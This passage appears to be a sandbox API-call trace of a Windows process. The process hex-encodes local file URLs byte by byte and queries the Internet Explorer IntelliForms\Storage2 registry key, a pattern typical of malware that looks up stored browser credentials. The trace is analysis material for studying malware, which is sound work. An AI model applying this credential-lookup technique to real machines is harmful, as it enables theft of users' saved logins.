returned 0x0 [0077.935] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="00") returned 2 [0077.935] lstrlenA (lpString="87B1CFB94566A8F2009B") returned 20 [0077.935] lstrlenA (lpString="00") returned 2 [0077.935] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x655738 [0077.935] lstrcpyA (in: lpString1=0x655738, lpString2="87B1CFB94566A8F2009B" | out: lpString1="87B1CFB94566A8F2009B") returned="87B1CFB94566A8F2009B" [0077.935] lstrcatA (in: lpString1="87B1CFB94566A8F2009B", lpString2="00" | out: lpString1="87B1CFB94566A8F2009B00") returned="87B1CFB94566A8F2009B00" [0077.935] LocalFree (hMem=0x6557d8) returned 0x0 [0077.935] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FD") returned 2 [0077.935] lstrlenA (lpString="87B1CFB94566A8F2009B00") returned 22 [0077.935] lstrlenA (lpString="FD") returned 2 [0077.935] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652ab8 [0077.935] lstrcpyA (in: lpString1=0x652ab8, lpString2="87B1CFB94566A8F2009B00" | out: lpString1="87B1CFB94566A8F2009B00") returned="87B1CFB94566A8F2009B00" [0077.935] lstrcatA (in: lpString1="87B1CFB94566A8F2009B00", lpString2="FD" | out: lpString1="87B1CFB94566A8F2009B00FD") returned="87B1CFB94566A8F2009B00FD" [0077.935] LocalFree (hMem=0x655738) returned 0x0 [0077.935] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E1") returned 2 [0077.935] lstrlenA (lpString="87B1CFB94566A8F2009B00FD") returned 24 [0077.935] lstrlenA (lpString="E1") returned 2 [0077.935] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652968 [0077.935] lstrcpyA (in: lpString1=0x652968, lpString2="87B1CFB94566A8F2009B00FD" | out: lpString1="87B1CFB94566A8F2009B00FD") returned="87B1CFB94566A8F2009B00FD" [0077.935] lstrcatA (in: lpString1="87B1CFB94566A8F2009B00FD", lpString2="E1" | out: lpString1="87B1CFB94566A8F2009B00FDE1") returned="87B1CFB94566A8F2009B00FDE1" [0077.935] LocalFree (hMem=0x652ab8) returned 0x0 [0077.935] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6B") returned 2 [0077.935] lstrlenA (lpString="87B1CFB94566A8F2009B00FDE1") returned 26 [0077.935] lstrlenA (lpString="6B") returned 2 [0077.935] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652ab8 [0077.935] lstrcpyA (in: lpString1=0x652ab8, lpString2="87B1CFB94566A8F2009B00FDE1" | out: lpString1="87B1CFB94566A8F2009B00FDE1") returned="87B1CFB94566A8F2009B00FDE1" [0077.936] lstrcatA (in: lpString1="87B1CFB94566A8F2009B00FDE1", lpString2="6B" | out: lpString1="87B1CFB94566A8F2009B00FDE16B") returned="87B1CFB94566A8F2009B00FDE16B" [0077.936] LocalFree (hMem=0x652968) returned 0x0 [0077.936] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AF") returned 2 [0077.936] lstrlenA (lpString="87B1CFB94566A8F2009B00FDE16B") returned 28 [0077.936] lstrlenA (lpString="AF") returned 2 [0077.936] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652968 [0077.936] lstrcpyA (in: lpString1=0x652968, lpString2="87B1CFB94566A8F2009B00FDE16B" | out: lpString1="87B1CFB94566A8F2009B00FDE16B") returned="87B1CFB94566A8F2009B00FDE16B" [0077.936] lstrcatA (in: lpString1="87B1CFB94566A8F2009B00FDE16B", lpString2="AF" | out: lpString1="87B1CFB94566A8F2009B00FDE16BAF") returned="87B1CFB94566A8F2009B00FDE16BAF" [0077.936] LocalFree (hMem=0x652ab8) returned 0x0 [0077.936] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D1") returned 2 [0077.936] lstrlenA (lpString="87B1CFB94566A8F2009B00FDE16BAF") returned 30 [0077.936] lstrlenA (lpString="D1") returned 2 [0077.936] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0077.936] lstrcpyA (in: lpString1=0x6292f8, lpString2="87B1CFB94566A8F2009B00FDE16BAF" | out: lpString1="87B1CFB94566A8F2009B00FDE16BAF") returned="87B1CFB94566A8F2009B00FDE16BAF" [0077.936] lstrcatA (in: lpString1="87B1CFB94566A8F2009B00FDE16BAF", lpString2="D1" | out: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1") returned="87B1CFB94566A8F2009B00FDE16BAFD1" [0077.936] LocalFree (hMem=0x652968) returned 0x0 [0077.936] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A2") returned 2 [0077.936] lstrlenA (lpString="87B1CFB94566A8F2009B00FDE16BAFD1") returned 32 [0077.936] lstrlenA (lpString="A2") returned 2 [0077.936] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0077.936] lstrcpyA (in: lpString1=0x6293a8, lpString2="87B1CFB94566A8F2009B00FDE16BAFD1" | out: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1") returned="87B1CFB94566A8F2009B00FDE16BAFD1" [0077.936] lstrcatA (in: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1", lpString2="A2" | out: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1A2") returned="87B1CFB94566A8F2009B00FDE16BAFD1A2" [0077.936] LocalFree (hMem=0x6292f8) returned 0x0 [0077.936] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="92") returned 2 [0077.936] lstrlenA (lpString="87B1CFB94566A8F2009B00FDE16BAFD1A2") returned 34 [0077.936] lstrlenA (lpString="92") returned 2 [0077.936] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0077.936] lstrcpyA (in: lpString1=0x6292f8, lpString2="87B1CFB94566A8F2009B00FDE16BAFD1A2" | out: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1A2") returned="87B1CFB94566A8F2009B00FDE16BAFD1A2" [0077.936] lstrcatA (in: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1A2", lpString2="92" | out: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1A292") returned="87B1CFB94566A8F2009B00FDE16BAFD1A292" [0077.936] LocalFree (hMem=0x6293a8) returned 0x0 [0077.936] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AC") returned 2 [0077.936] lstrlenA (lpString="87B1CFB94566A8F2009B00FDE16BAFD1A292") returned 36 [0077.936] lstrlenA (lpString="AC") returned 2 [0077.936] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0077.936] lstrcpyA (in: lpString1=0x6293a8, lpString2="87B1CFB94566A8F2009B00FDE16BAFD1A292" | out: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1A292") returned="87B1CFB94566A8F2009B00FDE16BAFD1A292" [0077.936] lstrcatA (in: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1A292", lpString2="AC" | out: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1A292AC") returned="87B1CFB94566A8F2009B00FDE16BAFD1A292AC" [0077.936] LocalFree (hMem=0x6292f8) returned 0x0 [0077.936] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3A") returned 2 [0077.936] lstrlenA (lpString="87B1CFB94566A8F2009B00FDE16BAFD1A292AC") returned 38 [0077.937] lstrlenA (lpString="3A") returned 2 [0077.937] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647668 [0077.937] lstrcpyA (in: lpString1=0x647668, lpString2="87B1CFB94566A8F2009B00FDE16BAFD1A292AC" | out: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1A292AC") returned="87B1CFB94566A8F2009B00FDE16BAFD1A292AC" [0077.937] lstrcatA (in: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1A292AC", lpString2="3A" | out: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1A292AC3A") returned="87B1CFB94566A8F2009B00FDE16BAFD1A292AC3A" [0077.937] LocalFree (hMem=0x6293a8) returned 0x0 [0077.937] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="83") returned 2 [0077.937] lstrlenA (lpString="87B1CFB94566A8F2009B00FDE16BAFD1A292AC3A") returned 40 [0077.937] lstrlenA (lpString="83") returned 2 [0077.937] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x6477d8 [0077.937] lstrcpyA (in: lpString1=0x6477d8, lpString2="87B1CFB94566A8F2009B00FDE16BAFD1A292AC3A" | out: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1A292AC3A") returned="87B1CFB94566A8F2009B00FDE16BAFD1A292AC3A" [0077.937] lstrcatA (in: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1A292AC3A", lpString2="83" | out: lpString1="87B1CFB94566A8F2009B00FDE16BAFD1A292AC3A83") returned="87B1CFB94566A8F2009B00FDE16BAFD1A292AC3A83" [0077.937] LocalFree (hMem=0x647668) returned 0x0 [0077.937] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.937] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.937] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.937] LocalFree (hMem=0x6477d8) returned 0x0 [0077.937] CoTaskMemFree (pv=0x641810) [0077.937] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/1K3F15-LwMeSVfM9WPEN.csv", lpSrch="?") returned 0x0 [0077.937] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/1K3F15-LwMeSVfM9WPEN.csv") returned 70 [0077.937] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="19") returned 2 [0077.937] lstrlenA (lpString="") returned 0 [0077.937] lstrlenA (lpString="19") returned 2 [0077.937] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x655aa8 [0077.937] lstrcpyA (in: lpString1=0x655aa8, lpString2="" | out: lpString1="") returned="" [0077.937] lstrcatA (in: lpString1="", lpString2="19" | out: lpString1="19") returned="19" [0077.937] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E3") returned 2 [0077.937] lstrlenA (lpString="19") returned 2 [0077.937] lstrlenA (lpString="E3") returned 2 [0077.937] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x655b38 [0077.937] lstrcpyA (in: lpString1=0x655b38, lpString2="19" | out: lpString1="19") returned="19" [0077.937] lstrcatA (in: lpString1="19", lpString2="E3" | out: lpString1="19E3") returned="19E3" [0077.937] LocalFree (hMem=0x655aa8) returned 0x0 [0077.938] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1F") returned 2 [0077.938] lstrlenA (lpString="19E3") returned 4 [0077.938] lstrlenA (lpString="1F") returned 2 [0077.938] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x655aa8 [0077.938] lstrcpyA (in: lpString1=0x655aa8, lpString2="19E3" | out: lpString1="19E3") returned="19E3" [0077.938] lstrcatA (in: lpString1="19E3", lpString2="1F" | out: lpString1="19E31F") returned="19E31F" [0077.938] LocalFree (hMem=0x655b38) returned 0x0 [0077.938] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="37") returned 2 [0077.938] lstrlenA (lpString="19E31F") returned 6 [0077.938] lstrlenA (lpString="37") returned 2 [0077.938] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x655b38 [0077.938] lstrcpyA (in: lpString1=0x655b38, lpString2="19E31F" | out: lpString1="19E31F") returned="19E31F" [0077.938] lstrcatA (in: lpString1="19E31F", lpString2="37" | out: lpString1="19E31F37") returned="19E31F37" [0077.938] LocalFree (hMem=0x655aa8) returned 0x0 [0077.938] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5B") returned 2 [0077.938] lstrlenA (lpString="19E31F37") returned 8 [0077.939] lstrlenA (lpString="5B") returned 2 [0077.939] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x655bd0 [0077.939] lstrcpyA (in: lpString1=0x655bd0, lpString2="19E31F37" | out: lpString1="19E31F37") returned="19E31F37" [0077.939] lstrcatA (in: lpString1="19E31F37", lpString2="5B" | out: lpString1="19E31F375B") returned="19E31F375B" [0077.939] LocalFree (hMem=0x655b38) returned 0x0 [0077.939] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6B") returned 2 [0077.939] lstrlenA (lpString="19E31F375B") returned 10 [0077.939] lstrlenA (lpString="6B") returned 2 [0077.939] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x655aa8 [0077.939] lstrcpyA (in: lpString1=0x655aa8, lpString2="19E31F375B" | out: lpString1="19E31F375B") returned="19E31F375B" [0077.939] lstrcatA (in: lpString1="19E31F375B", lpString2="6B" | out: lpString1="19E31F375B6B") returned="19E31F375B6B" [0077.939] LocalFree (hMem=0x655bd0) returned 0x0 [0077.939] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9A") returned 2 [0077.939] lstrlenA (lpString="19E31F375B6B") returned 12 [0077.939] lstrlenA (lpString="9A") returned 2 [0077.939] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x655b40 [0077.939] lstrcpyA (in: lpString1=0x655b40, lpString2="19E31F375B6B" | out: lpString1="19E31F375B6B") returned="19E31F375B6B" [0077.939] lstrcatA (in: lpString1="19E31F375B6B", lpString2="9A" | out: lpString1="19E31F375B6B9A") returned="19E31F375B6B9A" [0077.939] LocalFree (hMem=0x655aa8) returned 0x0 [0077.939] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CB") returned 2 [0077.939] lstrlenA (lpString="19E31F375B6B9A") returned 14 [0077.939] lstrlenA (lpString="CB") returned 2 [0077.939] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x655bd8 [0077.939] lstrcpyA (in: lpString1=0x655bd8, lpString2="19E31F375B6B9A" | out: lpString1="19E31F375B6B9A") returned="19E31F375B6B9A" [0077.939] lstrcatA (in: lpString1="19E31F375B6B9A", lpString2="CB" | out: lpString1="19E31F375B6B9ACB") returned="19E31F375B6B9ACB" [0077.939] LocalFree (hMem=0x655b40) returned 0x0 [0077.939] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B9") returned 2 [0077.939] lstrlenA (lpString="19E31F375B6B9ACB") returned 16 [0077.939] lstrlenA (lpString="B9") returned 2 [0077.939] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x655aa8 [0077.939] lstrcpyA (in: lpString1=0x655aa8, lpString2="19E31F375B6B9ACB" | out: lpString1="19E31F375B6B9ACB") returned="19E31F375B6B9ACB" [0077.939] lstrcatA (in: lpString1="19E31F375B6B9ACB", lpString2="B9" | out: lpString1="19E31F375B6B9ACBB9") returned="19E31F375B6B9ACBB9" [0077.939] LocalFree (hMem=0x655bd8) returned 0x0 [0077.939] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="67") returned 2 [0077.939] lstrlenA (lpString="19E31F375B6B9ACBB9") returned 18 [0077.939] lstrlenA (lpString="67") returned 2 [0077.939] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x655b48 [0077.939] lstrcpyA (in: lpString1=0x655b48, lpString2="19E31F375B6B9ACBB9" | out: lpString1="19E31F375B6B9ACBB9") returned="19E31F375B6B9ACBB9" [0077.939] lstrcatA (in: lpString1="19E31F375B6B9ACBB9", lpString2="67" | out: lpString1="19E31F375B6B9ACBB967") returned="19E31F375B6B9ACBB967" [0077.939] LocalFree (hMem=0x655aa8) returned 0x0 [0077.940] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D6") returned 2 [0077.940] lstrlenA (lpString="19E31F375B6B9ACBB967") returned 20 [0077.940] lstrlenA (lpString="D6") returned 2 [0077.940] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x655aa8 [0077.940] lstrcpyA (in: lpString1=0x655aa8, lpString2="19E31F375B6B9ACBB967" | out: lpString1="19E31F375B6B9ACBB967") returned="19E31F375B6B9ACBB967" [0077.940] lstrcatA (in: lpString1="19E31F375B6B9ACBB967", lpString2="D6" | out: lpString1="19E31F375B6B9ACBB967D6") returned="19E31F375B6B9ACBB967D6" [0077.940] LocalFree (hMem=0x655b48) returned 0x0 [0077.940] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="7E") returned 2 [0077.940] lstrlenA (lpString="19E31F375B6B9ACBB967D6") returned 22 [0077.940] lstrlenA (lpString="7E") returned 2 [0077.940] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652968 [0077.940] lstrcpyA (in: lpString1=0x652968, lpString2="19E31F375B6B9ACBB967D6" | out: lpString1="19E31F375B6B9ACBB967D6") returned="19E31F375B6B9ACBB967D6" [0077.940] lstrcatA (in: lpString1="19E31F375B6B9ACBB967D6", lpString2="7E" | out: lpString1="19E31F375B6B9ACBB967D67E") returned="19E31F375B6B9ACBB967D67E" [0077.940] LocalFree (hMem=0x655aa8) returned 0x0 [0077.940] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="13") returned 2 [0077.940] lstrlenA (lpString="19E31F375B6B9ACBB967D67E") returned 24 [0077.940] lstrlenA (lpString="13") returned 2 [0077.940] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652ab8 [0077.940] lstrcpyA (in: lpString1=0x652ab8, lpString2="19E31F375B6B9ACBB967D67E" | out: lpString1="19E31F375B6B9ACBB967D67E") returned="19E31F375B6B9ACBB967D67E" [0077.940] lstrcatA (in: lpString1="19E31F375B6B9ACBB967D67E", lpString2="13" | out: lpString1="19E31F375B6B9ACBB967D67E13") returned="19E31F375B6B9ACBB967D67E13" [0077.940] LocalFree (hMem=0x652968) returned 0x0 [0077.940] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4F") returned 2 [0077.940] lstrlenA (lpString="19E31F375B6B9ACBB967D67E13") returned 26 [0077.940] lstrlenA (lpString="4F") returned 2 [0077.940] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652968 [0077.940] lstrcpyA (in: lpString1=0x652968, lpString2="19E31F375B6B9ACBB967D67E13" | out: lpString1="19E31F375B6B9ACBB967D67E13") returned="19E31F375B6B9ACBB967D67E13" [0077.940] lstrcatA (in: lpString1="19E31F375B6B9ACBB967D67E13", lpString2="4F" | out: lpString1="19E31F375B6B9ACBB967D67E134F") returned="19E31F375B6B9ACBB967D67E134F" [0077.940] LocalFree (hMem=0x652ab8) returned 0x0 [0077.940] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F9") returned 2 [0077.940] lstrlenA (lpString="19E31F375B6B9ACBB967D67E134F") returned 28 [0077.940] lstrlenA (lpString="F9") returned 2 [0077.940] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652ab8 [0077.940] lstrcpyA (in: lpString1=0x652ab8, lpString2="19E31F375B6B9ACBB967D67E134F" | out: lpString1="19E31F375B6B9ACBB967D67E134F") returned="19E31F375B6B9ACBB967D67E134F" [0077.940] lstrcatA (in: lpString1="19E31F375B6B9ACBB967D67E134F", lpString2="F9" | out: lpString1="19E31F375B6B9ACBB967D67E134FF9") returned="19E31F375B6B9ACBB967D67E134FF9" [0077.940] LocalFree (hMem=0x652968) returned 0x0 [0077.940] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="21") returned 2 [0077.940] lstrlenA (lpString="19E31F375B6B9ACBB967D67E134FF9") returned 30 [0077.941] lstrlenA (lpString="21") returned 2 [0077.941] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0077.941] lstrcpyA (in: lpString1=0x6293a8, lpString2="19E31F375B6B9ACBB967D67E134FF9" | out: lpString1="19E31F375B6B9ACBB967D67E134FF9") returned="19E31F375B6B9ACBB967D67E134FF9" [0077.941] lstrcatA (in: lpString1="19E31F375B6B9ACBB967D67E134FF9", lpString2="21" | out: lpString1="19E31F375B6B9ACBB967D67E134FF921") returned="19E31F375B6B9ACBB967D67E134FF921" [0077.941] LocalFree (hMem=0x652ab8) returned 0x0 [0077.941] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="74") returned 2 [0077.941] lstrlenA (lpString="19E31F375B6B9ACBB967D67E134FF921") returned 32 [0077.941] lstrlenA (lpString="74") returned 2 [0077.941] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0077.941] lstrcpyA (in: lpString1=0x6292f8, lpString2="19E31F375B6B9ACBB967D67E134FF921" | out: lpString1="19E31F375B6B9ACBB967D67E134FF921") returned="19E31F375B6B9ACBB967D67E134FF921" [0077.941] lstrcatA (in: lpString1="19E31F375B6B9ACBB967D67E134FF921", lpString2="74" | out: lpString1="19E31F375B6B9ACBB967D67E134FF92174") returned="19E31F375B6B9ACBB967D67E134FF92174" [0077.941] LocalFree (hMem=0x6293a8) returned 0x0 [0077.941] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5A") returned 2 [0077.941] lstrlenA (lpString="19E31F375B6B9ACBB967D67E134FF92174") returned 34 [0077.941] lstrlenA (lpString="5A") returned 2 [0077.941] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0077.941] lstrcpyA (in: lpString1=0x6293a8, lpString2="19E31F375B6B9ACBB967D67E134FF92174" | out: lpString1="19E31F375B6B9ACBB967D67E134FF92174") returned="19E31F375B6B9ACBB967D67E134FF92174" [0077.941] lstrcatA (in: lpString1="19E31F375B6B9ACBB967D67E134FF92174", lpString2="5A" | out: lpString1="19E31F375B6B9ACBB967D67E134FF921745A") returned="19E31F375B6B9ACBB967D67E134FF921745A" [0077.941] LocalFree (hMem=0x6292f8) returned 0x0 [0077.941] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="05") returned 2 [0077.941] lstrlenA (lpString="19E31F375B6B9ACBB967D67E134FF921745A") returned 36 [0077.941] lstrlenA (lpString="05") returned 2 [0077.941] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0077.941] lstrcpyA (in: lpString1=0x6292f8, lpString2="19E31F375B6B9ACBB967D67E134FF921745A" | out: lpString1="19E31F375B6B9ACBB967D67E134FF921745A") returned="19E31F375B6B9ACBB967D67E134FF921745A" [0077.941] lstrcatA (in: lpString1="19E31F375B6B9ACBB967D67E134FF921745A", lpString2="05" | out: lpString1="19E31F375B6B9ACBB967D67E134FF921745A05") returned="19E31F375B6B9ACBB967D67E134FF921745A05" [0077.941] LocalFree (hMem=0x6293a8) returned 0x0 [0077.941] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="14") returned 2 [0077.941] lstrlenA (lpString="19E31F375B6B9ACBB967D67E134FF921745A05") returned 38 [0077.941] lstrlenA (lpString="14") returned 2 [0077.941] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x6477d8 [0077.941] lstrcpyA (in: lpString1=0x6477d8, lpString2="19E31F375B6B9ACBB967D67E134FF921745A05" | out: lpString1="19E31F375B6B9ACBB967D67E134FF921745A05") returned="19E31F375B6B9ACBB967D67E134FF921745A05" [0077.941] lstrcatA (in: lpString1="19E31F375B6B9ACBB967D67E134FF921745A05", lpString2="14" | out: lpString1="19E31F375B6B9ACBB967D67E134FF921745A0514") returned="19E31F375B6B9ACBB967D67E134FF921745A0514" [0077.941] LocalFree (hMem=0x6292f8) returned 0x0 [0077.941] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="54") returned 2 [0077.941] lstrlenA (lpString="19E31F375B6B9ACBB967D67E134FF921745A0514") returned 40 [0077.941] lstrlenA (lpString="54") returned 2 [0077.941] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647668 [0077.941] lstrcpyA (in: lpString1=0x647668, lpString2="19E31F375B6B9ACBB967D67E134FF921745A0514" | out: lpString1="19E31F375B6B9ACBB967D67E134FF921745A0514") returned="19E31F375B6B9ACBB967D67E134FF921745A0514" [0077.941] lstrcatA (in: lpString1="19E31F375B6B9ACBB967D67E134FF921745A0514", lpString2="54" | out: lpString1="19E31F375B6B9ACBB967D67E134FF921745A051454") returned="19E31F375B6B9ACBB967D67E134FF921745A051454" [0077.942] LocalFree (hMem=0x6477d8) returned 0x0 [0077.942] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.942] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.942] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.942] LocalFree (hMem=0x647668) returned 0x0 [0077.942] CoTaskMemFree (pv=0x655a10) [0077.942] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/1%20kMu0ovK47.xls", lpSrch="?") returned 0x0 [0077.942] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/1%20kMu0ovK47.xls") returned 63 [0077.942] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5D") returned 2 [0077.942] lstrlenA (lpString="") returned 0 [0077.942] lstrlenA (lpString="5D") returned 2 [0077.942] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x655ba8 [0077.942] lstrcpyA (in: lpString1=0x655ba8, lpString2="" | out: lpString1="") returned="" [0077.942] lstrcatA (in: lpString1="", lpString2="5D" | out: lpString1="5D") returned="5D" [0077.943] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B8") returned 2 [0077.943] lstrlenA (lpString="5D") returned 2 [0077.943] lstrlenA (lpString="B8") returned 2 [0077.943] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x655c38 [0077.943] lstrcpyA (in: lpString1=0x655c38, lpString2="5D" | out: lpString1="5D") returned="5D" [0077.943] lstrcatA (in: lpString1="5D", lpString2="B8" | out: lpString1="5DB8") returned="5DB8" [0077.943] LocalFree (hMem=0x655ba8) returned 0x0 [0077.943] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="12") returned 2 [0077.943] lstrlenA (lpString="5DB8") returned 4 [0077.943] lstrlenA (lpString="12") returned 2 [0077.943] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x655ba8 [0077.943] lstrcpyA (in: lpString1=0x655ba8, lpString2="5DB8" | out: lpString1="5DB8") returned="5DB8" [0077.943] lstrcatA (in: lpString1="5DB8", lpString2="12" | out: lpString1="5DB812") returned="5DB812" [0077.943] LocalFree (hMem=0x655c38) returned 0x0 [0077.943] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="01") returned 2 [0077.943] lstrlenA (lpString="5DB812") returned 6 [0077.943] lstrlenA (lpString="01") returned 2 [0077.943] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x655c38 [0077.943] lstrcpyA (in: lpString1=0x655c38, lpString2="5DB812" | out: lpString1="5DB812") returned="5DB812" [0077.943] lstrcatA (in: lpString1="5DB812", lpString2="01" | out: lpString1="5DB81201") returned="5DB81201" [0077.943] LocalFree (hMem=0x655ba8) returned 0x0 [0077.943] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="36") returned 2 [0077.943] lstrlenA (lpString="5DB81201") returned 8 [0077.943] lstrlenA (lpString="36") returned 2 [0077.943] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x655cd0 [0077.943] lstrcpyA (in: lpString1=0x655cd0, lpString2="5DB81201" | out: lpString1="5DB81201") returned="5DB81201" [0077.943] lstrcatA (in: lpString1="5DB81201", lpString2="36" | out: lpString1="5DB8120136") returned="5DB8120136" [0077.943] LocalFree (hMem=0x655c38) returned 0x0 [0077.943] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="44") returned 2 [0077.943] lstrlenA (lpString="5DB8120136") returned 10 [0077.943] lstrlenA (lpString="44") returned 2 [0077.943] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x655ba8 [0077.943] lstrcpyA (in: lpString1=0x655ba8, lpString2="5DB8120136" | out: lpString1="5DB8120136") returned="5DB8120136" [0077.943] lstrcatA (in: lpString1="5DB8120136", lpString2="44" | out: lpString1="5DB812013644") returned="5DB812013644" [0077.943] LocalFree (hMem=0x655cd0) returned 0x0 [0077.943] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D2") returned 2 [0077.943] lstrlenA (lpString="5DB812013644") returned 12 [0077.943] lstrlenA (lpString="D2") returned 2 [0077.943] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x655c40 [0077.943] lstrcpyA (in: lpString1=0x655c40, lpString2="5DB812013644" | out: lpString1="5DB812013644") returned="5DB812013644" [0077.944] lstrcatA (in: 